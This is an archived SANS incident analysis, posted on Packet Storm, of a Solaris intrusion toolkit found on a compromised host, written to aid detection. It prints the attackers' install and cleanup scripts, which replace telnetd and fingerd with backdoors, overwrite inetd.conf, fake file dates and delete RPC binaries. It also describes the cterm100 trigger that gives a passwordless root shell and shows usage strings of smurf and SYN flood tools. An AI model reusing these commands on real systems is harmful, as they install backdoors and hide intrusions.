what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TFN_toolkit.htm

TFN_toolkit.htm
Posted Jan 4, 2000
Authored by Randy Marchany | Site sans.org

Analysis of TFN-Style Toolkit v 1.1 - One of our systems was compromised and prompt action by the local sysadmin prevented the hackers from running their cleanup scripts. Consequently, we were able to get the toolkit that they were using against us. This toolkit contains components that are similar to what is in the TFN toolkit.

tags | denial of service, local
SHA-256 | 931bf856df02a6b943a81ec00d6ae03423a858509db190e01a1c3ee4fbce96f8

TFN_toolkit.htm

Change Mirror Download
<!DOCTYPE HTML PUBLIC "html.dtd">
<HTML>

<HEAD>
<META NAME="Microsoft Border" CONTENT="none">
<TITLE>Global Incident Analysis Center: Special Notice - Analysis of TFN-Style Toolkit v
1.1</TITLE>
</HEAD>

<BODY BACKGROUND="http://www.sans.org/images/bg2.gif" LINK="#000080">

<TABLE WIDTH="758" CELLSPACING="0" BORDER="0" CELLPADDING="3">
<TR>
<TD WIDTH="407"><IMG SRC="http://www.sans.org/newlook/images/sansinst_res.GIF" ALT="sansinst_res.GIF (4722 bytes)"></TD>
<TD WIDTH="339" ALIGN="center"><FONT FACE="Arial"><STRONG><BIG>Global Incident Analysis
Center</BIG><BR>
- Special Notice -<EM><BR>
</EM></STRONG><SMALL><SMALL>© 1999 - 2000 SANS Institute</SMALL></SMALL></FONT></TD>
</TR>
</TABLE>

<TABLE WIDTH="766" CELLSPACING="0" BORDER="0" CELLPADDING="5">
<TR>
<TD WIDTH="100" VALIGN="top" ALIGN="center"></TD>
<TD WIDTH="666" VALIGN="top" ALIGN="center"><TABLE WIDTH="660" BORDER="0" CELLPADDING="3">
<TR>
<TD WIDTH="660"><FONT FACE="Arial"><STRONG>Analysis of TFN-Style Toolkit v 1.1<BR>
</STRONG><SMALL>12/30/99 2300</SMALL></FONT><P>One of our systems was compromised on 12/22
and prompt action by the local sysadmin prevented the hackers from running their cleanup
scripts. Consequently, we were able to get the toolkit that they were using against us. I
had seen some of these files in earlier breakins dating from 9/99 but wasn't able to piece
it together until we got the toolkit. The SANS Institute has been analyzing log entries in
an attempt to see if TFN or Trinoo style attacks are in place. This toolkit contains
components that are similar to what is in the TFN toolkit. </P>
<P>If you have any more information or insights, please send us a note at <A HREF="mailto:intrusion@sans.org">intrusion@sans.org</A>. <BR>
<BR>
<BR>
<STRONG><FONT FACE="Arial"><SMALL>The Attack</SMALL></FONT></STRONG><BR>
The hackers are using buffer overflow exploits on rpc.ttdbserverd, rpc.cmsd, sadmind,
rpc.statd to gain root access to a machine. In some cases, they use a variant of the
/tmp/bob attack which is associated with the ffcore buffer overflow exploit. In any event,
if they are successful in gaining access, they ftp the toolkit into a directory on the
machine. Our past experience has revealed these dirs to be "...", "..
", ".lib" and <BR>
/dev/cdrom, /dev/rmt/diskette. They install a backdoor into the system that gives them
root access. IMHO, the machines are being set up for a later attack. <BR>
<BR>
<FONT FACE="Arial"><STRONG><SMALL>The Tools</SMALL></STRONG></FONT><BR>
The name of the toolkit is solkit.tar and it contains the following items: <BR>
-rw-r--r-- 1 root root 2875 May 16 1999 bfile <BR>
-rw-r--r-- 1 root root 3036 Jul 2 1999 bfile2 <BR>
-rw-r--r-- 1 root root 20118 Jul 2 1999 bfile3 <BR>
-rwxr-xr-x 1 root root 114 Jul 2 1999 clean.sh <BR>
-rw-r--r-- 1 root root 3590 May 13 1999 finger.conf <BR>
-rwxr-xr-x 1 root root 21192 May 11 1999 hme <BR>
-rwxr-xr-x 1 root root 9684 Aug 16 16:15 in.fingerd <BR>
-rwxr-xr-x 1 root root 35412 Aug 16 16:15 in.telnetd <BR>
-rwxr-xr-x 1 root root 1062 Jul 2 1999 install <BR>
-rwxr-xr-x 1 root root 21184 May 11 1999 le <BR>
-rwxr-xr-x 1 root root 86 Jun 30 1999 script <BR>
-rwxr-xr-x 1 root root 1172 Jul 30 18:16 secure.sh <BR>
-rwxr-xr-x 1 root daemon 153600 Dec 28 16:34 solkit.tar <BR>
-rwxr-xr-x 1 root root 11520 May 13 1999 sunsmurf <BR>
-rwxr-xr-x 1 root root 10488 May 13 1999 syn </P>
<P>The tools are smurf style attack tools that are designed to allow the hackers to launch
smurf-style attacks on unsuspecting targets. </P>
<P><STRONG><FONT FACE="Arial"><SMALL>Analysis<BR>
</SMALL></FONT></STRONG>bfile*<BR>
These file are lists of IP network addresses of the form xxx.xxx.xxx.0 or xxx.xxx.xxx.255.
These are the networks that supposedly will flood a victim host as a result of the smurf
attack. This particular toolkit's list <BR>
had 1848 IP network addresses. </P>
<P>clean.sh<BR>
# removes our files <BR>
rm -rf solkit.tar <BR>
rm -rf secure.sh <BR>
rm -rf install <BR>
rm -rf clean.sh <BR>
echo "=> clean0red!! heh. " <BR>
As you can see from the above commands, this script cleans up the loose ends after the
toolkit is installed. </P>
<P>finger.conf<BR>
This file is really a stripped down /etc/inet/inetd.conf file. It allows telnetd, ftp, the
standard r-commands, uucp, finger and the standard UDP based protocols (chargen, etc.).
Here, the attackers disable any TCP wrappers that may be running on the system. Also, the
in.telnetd and in.fingerd programs are trojans and will be discussed later in this page. <BR>
<BR>
# <BR>
#ident "@(#)inetd.conf 1.22 95/07/14 SMI" /* SVr4.0 1.5 */ <BR>
# <BR>
# <BR>
# Configuration file for inetd(1M). See inetd.conf(4). <BR>
# <BR>
# To re-configure the running inetd process, edit this file, then <BR>
# send the inetd process a SIGHUP. <BR>
# <BR>
# Syntax for socket-based Internet services: <BR>
# <service_name> <socket_type> <proto> <flags> <user>
<server_pathname> <args> <BR>
# <BR>
# Syntax for TLI-based Internet services: <BR>
# <BR>
# <service_name> tli <proto> <flags> <user>
<server_pathname> <args> <BR>
# <BR>
# Ftp and telnet are standard Internet services. <BR>
# <BR>
ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd <BR>
telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd <BR>
# <BR>
# Tnamed serves the obsolete IEN-116 name server protocol. <BR>
# <BR>
name dgram udp wait root /usr/sbin/in.tnamed in.tnamed <BR>
# <BR>
# Shell, login, exec, comsat and talk are BSD protocols. <BR>
# <BR>
shell stream tcp nowait root /usr/sbin/in.rshd in.rshd <BR>
login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind <BR>
exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd <BR>
comsat dgram udp wait root /usr/sbin/in.comsat in.comsat <BR>
talk dgram udp wait root /usr/sbin/in.talkd in.talkd <BR>
# <BR>
# Must run as root (to read /etc/shadow); "-n" turns off logging in utmp/wtmp. <BR>
# <BR>
uucp stream tcp nowait root /usr/sbin/in.uucpd in.uucpd <BR>
# <BR>
# Tftp service is provided primarily for booting. Most sites run this <BR>
# only on machines acting as "boot servers." <BR>
# <BR>
#tftp dgram udp wait root /usr/sbin/in.tftpd in.tftpd -s /tftpboot <BR>
# <BR>
# Finger, systat and netstat give out user information which may be <BR>
# valuable to potential "system crackers." Many sites choose to disable <BR>
# some or all of these services to improve security. <BR>
# <BR>
finger stream tcp nowait root /usr/sbin/in.fingerd in.fingerd <BR>
#systat stream tcp nowait root /usr/bin/ps ps -ef <BR>
#netstat stream tcp nowait root /usr/bin/netstat netstat -f inet <BR>
# <BR>
# Time service is used for clock synchronization. <BR>
# <BR>
time stream tcp nowait root internal <BR>
time dgram udp wait root internal <BR>
# <BR>
# Echo, discard, daytime, and chargen are used primarily for testing. <BR>
# <BR>
echo stream tcp nowait root internal <BR>
echo dgram udp wait root internal <BR>
discard stream tcp nowait root internal <BR>
discard dgram udp wait root internal <BR>
daytime stream tcp nowait root internal <BR>
daytime dgram udp wait root internal <BR>
chargen stream tcp nowait root internal <BR>
chargen dgram udp wait root internal <BR>
# <BR>
# <BR>
# RPC services syntax: <BR>
# <pathname> <args> <BR>
# <BR>
# <endpoint-type> can be either "tli" or "stream" or
"dgram". <BR>
# For "stream" and "dgram" assume that the endpoint is a socket
descriptor. <BR>
# <proto> can be either a nettype or a netid or a "*". The value is <BR>
# first treated as a nettype. If it is not a valid nettype then it is <BR>
# treated as a netid. The "*" is a short-hand way of saying all the <BR>
# transports supported by this system, ie. it equates to the "visible" <BR>
# nettype. The syntax for <proto> is: <BR>
# *|<nettype|netid>|<nettype|netid>{[,<nettype|netid>]} <BR>
# For example: <BR>
# <BR>
# Solstice system and network administration class agent server <BR>
# <BR>
# Rquotad supports UFS disk quotas for NFS clients <BR>
# <BR>
# <BR>
# The rusers service gives out user information. Sites concerned <BR>
# with security may choose to disable it. <BR>
# <BR>
# <BR>
# The spray server is used primarily for testing. <BR>
# <BR>
# <BR>
# The rwall server allows others to post messages to users on this machine. <BR>
# <BR>
# <BR>
# Rstatd is used by programs such as perfmeter. <BR>
# <BR>
# <BR>
# The rexd server provides only minimal authentication and is often not run <BR>
# <BR>
# <BR>
# by files in /var/spool/calendar <BR>
# <BR>
# <BR>
# Sun ToolTalk Database Server <BR>
# <BR>
# <BR>
# UFS-aware service daemon <BR>
# <BR>
# <BR>
# Sun KCMS Profile Server <BR>
# <BR>
# <BR>
# Sun Font Server <BR>
# <BR>
fs stream tcp wait nobody /usr/openwin/lib/fs.auto fs </P>
<P>hme, le<BR>
These programs are a variant of esniff.c and are compiled for the Sun hme and le network
interfaces. In the past, we discovered that this program is sometimes called
"update". A "strings hme" command produces the following output: <BR>
rlogin <BR>
telnet <BR>
smtp <BR>
-- TCP/IP LOG -- TM: %s -- <BR>
PATH: %s(%s) => <BR>
%s(%s) <BR>
STAT: %s, %d pkts, %d bytes [%s] <BR>
DATA: <BR>
: <BR>
(%d) <BR>
PKT: (%s %04X) <BR>
%s[%s] => <BR>
%s[%s] <BR>
DATA LIMIT <BR>
TH_FIN <BR>
TH_RST <BR>
IDLE TIMEOUT <BR>
SIGNAL <BR>
Log ended at => %s <BR>
sigalrm: TIMEOUT <BR>
%s: alarm <BR>
%s: getmsg <BR>
%s: MORECTL|MOREDATA <BR>
%s: MORECTL <BR>
%s: MOREDATA <BR>
getmsg: control portion length < sizeof (long): %d <BR>
unexpected dlprim error <BR>
dlattachreq: putmsg <BR>
dlokack <BR>
dlokack: response ctl.len too short: %d <BR>
dlokack: DL_OK_ACK was not M_PCPROTO <BR>
dlokack: short response ctl.len: %d <BR>
dlbindreq: putmsg <BR>
dlbindack <BR>
dlbindack: DL_OK_ACK was not M_PCPROTO <BR>
dlbindack: short response ctl.len: %d <BR>
dlpromiscon: putmsg <BR>
/dev/hme <BR>
DLIOCRAW <BR>
bufmod <BR>
push bufmod <BR>
SBIOCSTIME <BR>
SBIOCSCHUNK <BR>
I_FLUSH <BR>
finished getmsg() = %i <BR>
c6Lqd3Dvn2l3s <BR>
(%s)UP? <BR>
Output file cant be opened <BR>
filtering out smtp connections. <BR>
filtering out telnet connections. <BR>
filtering out rsh/rlogin connections. <BR>
filtering out ftp connections. <BR>
Usage: %s [-d x] [-s] [-f] [-l] [-t] [-i interface] [-o file] <BR>
-d int set new data limit (128 default) <BR>
-s filter out smtp connections <BR>
-f filter out ftp connections <BR>
-l filter out rlogin/rsh connections <BR>
-t filter out telnet connections <BR>
-o <file> output to <file> <BR>
Using logical device %s [%s] <BR>
Output to %s.%s%s <BR>
stdout <BR>
(debug) <BR>
Backgrounding <BR>
[Cannot bg with debug on] <BR>
Log started at => %s [pid %d] </P>
<P>in.fingerd<BR>
We are still analyzing this file but it is definitely a trojan. A strings output of the
file produces the following output: <BR>
getpeername <BR>
cterm100 <BR>
finger <BR>
pipe <BR>
/usr/bin/finger <BR>
No local finger program found <BR>
fork <BR>
fdopen <BR>
/bin/sh <BR>
update <BR>
%s: </P>
<P>in.telnetd<BR>
This is a trojan as well. This trojan requires that you set your term to cterm100. If you
do that and telnet to the victim, you'll get a root shell prompt. If your TERM is set to
anything else, you get the standard telnet prompt. A sample session is shown next. <BR>
<BR>
#Here we have a standard terminal definition <BR>
%printenv TERM <BR>
%xterm <BR>
%telnet test <BR>
Trying xxx.xxx.xxx.xxx... <BR>
Connected to xxx.edu. <BR>
Escape character is '^]'. <BR>
<BR>
UNIX(r) System V Release 4.0 (xxx.edu) </P>
<P>login: <BR>
telnet> close <BR>
Connection closed. </P>
<P>Snoop output confirms it's a normal telnet session. <BR>
<BR>
test.edu# snoop port 23 <BR>
Using device /dev/le (promiscuous mode) <BR>
vt.edu -> test.cc.vt.edu TELNET C port=56969 <BR>
test.vt.edu -> discovery.cc.vt.edu TELNET R port=56969 <BR>
vt.edu -> test.cc.vt.edu TELNET C port=56969 <BR>
vt.edu -> test.cc.vt.edu TELNET C port=56969 <BR>
testvt.edu -> vt.edu TELNET R port=56969 <BR>
test.vt.edu -> vt.edu TELNET R port=56969 <BR>
vt.edu -> test..edu TELNET C port=56969 <BR>
vt.edu -> test.edu TELNET C port=56969 <BR>
test.edu -> vt.edu TELNET R port=56969 <BR>
vt.edu -> test.vt.edu TELNET C port=56969 <BR>
test.edu ->vt.edu TELNET R port=56969 <BR>
vt.edu -> test.edu TELNET C port=56969 \377\372\30\0XTERM\377\360\377\372#\0disco <BR>
test.edu -> vt.edu TELNET R port=56969 \r\n\r\nUNIX(r) System V <BR>
vt.edu -> test.vt.edu TELNET C port=56969 <BR>
test.edu -> vt.edu TELNET R port=56969 \377\373\1\377\375\1login: <BR>
vt.edu -> test.vt.edu TELNET C port=56969 <BR>
test.edu ->vt.edu TELNET R port=56969 <BR>
vt.edu -> test.edu TELNET C port=56969 <BR>
<BR>
Now, we set term to cterm100 and telnet into the system again. <BR>
<BR>
set term=cterm100 <BR>
vt.edu# printenv TERM <BR>
cterm100 <BR>
vt.edu# telnet testpurch <BR>
Trying xxx.xxx.xxx.xxx... <BR>
Connected to test.vt.edu. <BR>
Escape character is '^]'. <BR>
<BR>
UNIX(r) System V Release 4.0 (testpurch.cc.vt.edu) <BR>
<BR>
# hostname <BR>
testvt.edu <BR>
# <BR>
<BR>
Snoop output shows the following: <BR>
<BR>
Using device /dev/le (promiscuous mode) <BR>
vt.edu -> test.vt.edu TELNET C port=56970 <BR>
test.vt.edu -> vt.edu TELNET R port=56970 <BR>
vt.edu -> test.edu TELNET C port=56970 <BR>
vt.edu -> test.vt.edu TELNET C port=56970 <BR>
test.vt.edu ->vt.edu TELNET R port=56970 <BR>
testpurch.cc.vt.edu -> vt.edu TELNET R port=56970 <BR>
vt.edu -> test.vt.edu TELNET C port=56970 <BR>
test.vt.edu -> vt.edu TELNET R port=56970 <BR>
vt.edu -> test.vt.edu TELNET C port=56970 <BR>
vt.edu -> test.vt.edu TELNET C port=56970 <BR>
test.vt.edu -> vt.edu TELNET R port=56970 <BR>
vt.edu -> test.vt.edu TELNET C port=56970 \377\372\30\0CTERM100\377\360\377\372#\0di <BR>
test.vt.edu -> vt.edu TELNET R port=56970 \r\n\r\nUNIX(r) System V <BR>
vt.edu -> test.vt.edu TELNET C port=56970 <BR>
test.vt.edu -> vt.edu TELNET R port=56970 <BR>
vt.edu -> test.vt.edu TELNET C port=56970 <BR>
testvt.edu -> vt.edu TELNET R port=56970 <BR>
vt.edu -> test.vt.edu TELNET C port=56970 <BR>
<BR>
No login prompt or password is required. We are starting to see a number of trojans that
are activated if you come from an 'authorized' source port or if your TERM is set
correctly. In this case, your TERM must be cterm100 in order to activate the trojan. <BR>
<BR>
lsof examination of the in.telnetd process shows nothing special about the trojan. As far
as we can tell, there is no "secret" logging being done by the trojaned
in.telnetd. </P>
<P>Here is the 'strings' output of the file. <BR>
SunOS 5.7 <BR>
SunOS 5.6 <BR>
UNIX(r) System V Release 4.0 ( <BR>
netibuf malloc failed <BR>
telnetd <BR>
%s: <BR>
getpeername <BR>
setsockopt (SO_KEEPALIVE): %m <BR>
setsockopt (SO_OOBINLINE): %m <BR>
ttloop: read: %m <BR>
ttloop: peer died: %m <BR>
/dev/ptmx <BR>
open /dev/ptmx <BR>
could not grant slave pty <BR>
could not unlock slave pty <BR>
could not enable slave pty <BR>
could not open slave pty <BR>
ptem <BR>
ioctl I_PUSH ptem <BR>
ldterm <BR>
ioctl I_PUSH ldterm <BR>
ttcompat <BR>
ioctl I_PUSH ttcompat <BR>
ioctl TIOCGETP pty t: %m <BR>
ioctl TIOCSETN pty t: %m <BR>
ioctl TIOCGETP pty pty: %m <BR>
ioctl TIOCSETN pty pty: %m <BR>
cterm100 <BR>
sockmod <BR>
ioctl I_POP sockmod <BR>
telmod <BR>
ioctl I_PUSH telmod <BR>
readstream failed <BR>
/dev/logindmux <BR>
open /dev/logindmux <BR>
ioctl I_LINK of /dev/ptmx failed <BR>
ioctl I_LINK of tcp connection failed <BR>
fstat ptmfd failed <BR>
ioctl LOGDMX_IOC_QEXCHANGE of netfd failed <BR>
fstat netfd failed <BR>
ioctl LOGDMX_IOC_QEXCHANGE of ptmfd failed <BR>
fork <BR>
TERM <BR>
.telnet <BR>
in.telnetd: <BR>
makeutx failed <BR>
/bin/login <BR>
login <BR>
/bin/sh <BR>
update <BR>
telnetd: %s. <BR>
telnetd: %s <BR>
%s: %s <BR>
select <BR>
ioctl FIONBIO net: %m <BR>
ioctl FIONBIO pty p: %m <BR>
TEL_IOC_MODE binary has changed <BR>
ioctl TEL_IOC_MODE failed <BR>
ioctl I_NREAD failed <BR>
ioctl TEL_IOC_ENABLE <BR>
failed <BR>
ioctl TEL_IOC_GETBLK failed <BR>
[Yes] <BR>
ioctl TIOCGLTC: %m <BR>
ioctl TIOCGETP: %m <BR>
telnetd: panic state=%d <BR>
DISPLAY <BR>
ioctl TIOCSETN: %m <BR>
in.telnetd <BR>
in.telnetd: ia_start failure <BR>
I_NREAD returned error %m <BR>
netibuf realloc failed <BR>
getmsg returned -1, errno %d <BR>
no data or protocol element recognized <BR>
read %d bytes <BR>
TERM= </P>
<P>install<BR>
This is the installation script used in the toolkit. Here's what it does. <BR>
# <BR>
# solaris kit installer - relapse <BR>
# <BR>
<BR>
One should never write a script without telling people how to use the script :-). <BR>
<BR>
if [ $# != 1 ]; then <BR>
echo "=> solaris kit installer - relapse" <BR>
echo "=> usage: ./install <dir-path>" <BR>
exit <BR>
fi <BR>
<BR>
echo "=> $1 will be the working dir" <BR>
echo "=> sleeping for 5 seconds if the dir is wrong ctrl-c now." <BR>
sleep 5 <BR>
<BR>
Start the actual installation process by creating the directories and copying the files to
their final resting places. <BR>
<BR>
echo "=> making directories..." <BR>
mkdir $1/... <BR>
<BR>
echo "=> moving sniffers and dos programs..." <BR>
mv hme $1/... <BR>
mv le $1/... <BR>
mv sunsmurf $1/... <BR>
mv syn $1/... <BR>
mv bfile* $1/... <BR>
<BR>
We install the telnetd trojan by removing the real binary and replacing it with the trojan
telnetd described in the previous section. <BR>
<BR>
echo "=> backdooring telnetd..." <BR>
chmod +x in.telnetd <BR>
rm -rf /usr/sbin/in.telnetd <BR>
mv in.telnetd /usr/sbin <BR>
<BR>
Grab the PID of the inet process for later. <BR>
<BR>
inetpid=`ps -eaf |grep inetd |grep -v "grep inetd" | awk '{ print $2 }'` <BR>
<BR>
echo "=> the pid of inetd is $inetpid - if this is wrong ctrl-c now." <BR>
sleep 5 <BR>
<BR>
Install the fingerd trojan. We don't know what it does yet. Once we do that, we restart
the inetd process so it uses the replaced /etc/inetd.conf <BR>
<BR>
echo "=> backdooring fingerd..." <BR>
chmod +x in.fingerd <BR>
rm -rf /usr/sbin/in.fingerd <BR>
mv in.fingerd /usr/sbin <BR>
mv finger.conf /etc/inetd.conf <BR>
kill -9 $inetpid <BR>
/usr/sbin/inetd -s <BR>
<BR>
We try to hide our tracks by playing with the modification dates. This is sorta silly
since every file in the dirs <BR>
will have the same date. /etc and /usr/sbin are the target directories. <BR>
<BR>
echo "=> changing file dates..." <BR>
touch 0502111196 /usr/sbin/* <BR>
touch 0502111196 /etc/* <BR>
<BR>
We'll discuss secure.sh later. But here we mark the machine as our own so no other hacker
can break into it. We do this by removing certain files like rpc.ttdbserverd, statd, etc. <BR>
<BR>
echo "=> shelling to secure script. <BR>
chmod +x secure.sh <BR>
./secure.sh <BR>
<BR>
Here we delete the install kit files. <BR>
<BR>
echo "=> cleaning up..." <BR>
./clean.sh </P>
<P>script<BR>
<BR>
This is a simple script that gets the PID of the inetd process. <BR>
<BR>
inetpid=`ps ax |grep inetd |grep -v "grep inetd" | awk '{ print $2 }'` <BR>
echo $inetdpid <BR>
<BR>
secure.sh<BR>
This is one of the cleanup scripts used in the install program. Frankly, the only reason I
see for using this <BR>
script is to prevent other hackers from taking over this machine. It leaves a nice hole
that tells a sysadmin <BR>
that there is a problem. <BR>
<BR>
#!/bin/sh <BR>
# <BR>
# secure script to secure some basic shit <BR>
# <BR>
<BR>
This script is designed to run on Solaris only. <BR>
<BR>
if [ `uname` != SunOS ]; then <BR>
echo "#: sorry, but wtf are you doing?" <BR>
exit 0 <BR>
fi <BR>
<BR>
Grab some PID numbers for the statd, nlock and rpcbind processes for later processing. <BR>
<BR>
# defining stuff. <BR>
# ansi- <BR>
# pid numbers <BR>
STATD=`ps -eaf |grep statd |grep -v "grep statd" | awk '{ print $2 }'` <BR>
NLOCK=`ps -eaf |grep nlock |grep -v "grep nlock" | awk '{ print $2 }'` <BR>
BIND=`ps -eaf |grep rpcbind |grep -v "grep rpcbind" | awk '{ print $2 }'` <BR>
# ok securing. <BR>
echo "#: securing." <BR>
echo "#: 1) changing modes on local files." <BR>
echo "#: will add more local security later. " <BR>
<BR>
This is interesting. Just in case a sysadmin finds the backdoors, we leave a hole into the
system by opening up the ufsrestore hole. There is a patch for this. I guess they assume
you wouldn't look here since it was fixed. <BR>
<BR>
chmod -s /lib/fs/ufs/ufsrestore <BR>
<BR>
Let's remove the rpc.X stuff from /etc/inetd.conf just to make sure those services don't
start up again by accident. <BR>
<BR>
cat /etc/inetd.conf |grep -v "ttdb" |grep -v "nlock" |grep -v
"rpc" >> /etc/ine ; mv /etc/ine /et <BR>
c/inetd.conf <BR>
echo "#: 2) remote crap like rpc.status , nlockmgr etc.." <BR>
<BR>
Kill the running statd and rpcbind processes if they're running. <BR>
<BR>
kill -9 $STATD <BR>
kill -9 $BIND <BR>
<BR>
echo "#: 3) killed statd , rpcbind , nlockmgr " <BR>
echo "#: 4) removing them so they ever start again!" <BR>
<BR>
Remove the files so they can't be used against us. Talk about marking your
territory.....:-) <BR>
<BR>
cat /etc/rpc | grep -v status >>/tmp/bah ; mv /tmp/bah /etc/rpc <BR>
rm -rf /usr/lib/nfs/statd <BR>
rm -rf /etc/init.d/nfs.client <BR>
rm -rf /usr/sbin/rpcbind <BR>
rm -rf /usr/dt/bin/rpc.ttdbserverd <BR>
<BR>
Create zero length files using the same filenames. Works if all you do is a plain ls and
not an ls -l. <BR>
<BR>
touch /usr/lib/nfs/statd <BR>
touch /usr/dt/bin/rpc.ttdbserverd <BR>
touch /usr/sbin/rpcbind <BR>
touch /etc/init.d/nfs.client <BR>
echo "5) secured." <BR>
<BR>
sunsmurf<BR>
<BR>
This is appears to be a variant of the smurf.c program originally written by TFreak. It is
a Solaris port. <BR>
The toolkit only had the binary. I haven't been able to locate the source for it. A
strings output of the binary <BR>
follows. <BR>
<BR>
can't find %s <BR>
opening bcast file <BR>
ERROR: no broadcasts found in file %s <BR>
ERROR: packet size must be < 1024 <BR>
getting socket <BR>
Flooding %s (. = 25 outgoing packets) <BR>
[1;31msunsmurf.c <BR>
[0m by <BR>
[1;34mmercs <BR>
[0m - ported into SunOS 5.x.x <BR>
[Based on smurf.c by TFreak] - 99% of the credit goes to him <BR>
DO NOT DISTRIBUTE! <BR>
[0;37m <BR>
usage: %s [target] [bcast file] [packets] [delay] [size] <BR>
target = address to hit <BR>
bcast file = file to read broadcast addresses from <BR>
packets = number of packets to send (0 = flood) <BR>
delay = wait between each packet (in ms) <BR>
size = size of packet (< 1024) <BR>
Done! <BR>
$Id smurf.c,v 5.0 1998/05/28 2:59:35 EST mercs Exp $ <BR>
<BR>
syn<BR>
Apparently this program simply sends a SYN packet to the target from a spoofed &nbsp;
source. It will send the SYN packet to a range of ports on the target. Here's the strings
output of this binary. <BR>
<BR>
[JSignal Caught. Exiting Cleanly. <BR>
[JSegmentation Violation Caught. Exiting Cleanly. <BR>
Unknown host %s <BR>
Error sending syn packet. <BR>
[1;30m[ <BR>
[1;31m%c <BR>
[1;30m] <BR>
[0m %d <BR>
shelley.c by mercs <BR>
use: %s [srcaddr] [dstaddr] [low port] [high port] <BR>
random addresses will be used if srcaddr is 0 <BR>
socket (raw) <BR>
socket <BR>
%i.%i.%i.%i <BR>
High port must be greater than Low port.</P>
<P><STRONG><FONT FACE="Arial"><SMALL>Network detection of this intrusion</SMALL></FONT></STRONG><BR>
The hosts that were compromised with this kit were discovered while investigating network
traffic seen by other hosts on the same subnet. Hosts running tcp_wrappers and similar
access control software reported repeated connections to well-known ports from a variety
of source IP addresses on the local subnet. By comparing the logs from several hosts, it
was determined that this was most likely broadcast traffic with spoofed IP source
addresses. tcpdump was used to capture the source MAC address during the next scanning
incident. All of the traffic came from a single source MAC address. All of the packets had
an IP<BR>
destination address of 0.0.0.0.<BR>
<BR>
<FONT FACE="Arial"><STRONG><SMALL>Additional comments</SMALL></STRONG></FONT><BR>
This compromise would have been easily detected on a host running file-scanning software
such as tripwire.</P>
<P><FONT FACE="Arial"><STRONG><SMALL><A HREF="http://www.sans.org/y2k.htm"><< Back
to GIAC</A> </SMALL></STRONG></FONT></TD>
</TR>
</TABLE>
</TD>
</TR>
<TR>
<TD WIDTH="100" VALIGN="top" ALIGN="center"></TD>
<TD WIDTH="666" VALIGN="top" ALIGN="center">&nbsp;<P><SMALL><FONT FACE="Arial"><A HREF="http://www.sans.org/newlook/home.htm">Home</A>&nbsp; |&nbsp; <A HREF="http://www.sans.org/newlook/events/index.htm">Events</A>&nbsp; | &nbsp;<A HREF="http://www.sans.org/newlook/publications/index.htm">Publications</A>&nbsp; |&nbsp; <A HREF="http://www.sans.org/newlook/digests/index.htm">Security Digests</A><BR>
<A HREF="http://www.sans.org/newlook/resources/index.htm">Resources</A>&nbsp; |&nbsp; <A HREF="http://www.sans.org/newlook/misc/index.htm">Miscellaneous</A>&nbsp; |&nbsp; <A HREF="mailto:info@sans.org">Contact SANS</A></FONT></SMALL></P>
<P>&nbsp;</TD>
</TR>
<TR>
<TD WIDTH="100" VALIGN="top" ALIGN="center"></TD>
<TD WIDTH="666" VALIGN="top" ALIGN="center"><P ALIGN="center"><FONT FACE="Arial" COLOR="#808080"><SMALL><SMALL>© 1999 SANS Institute&nbsp; <STRONG>:&nbsp; Office</STRONG>
301.951.0102&nbsp; <STRONG>:&nbsp; Registration</STRONG> 719.599.4303&nbsp; :&nbsp; <STRONG>Web
Contact</STRONG><FONT COLOR="#C0C0C0"> <A HREF="mailto:scott@sans.org">scott@sans.org</A></FONT></SMALL></SMALL></FONT></TD>
</TR>
</TABLE>
</BODY>
</HTML>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close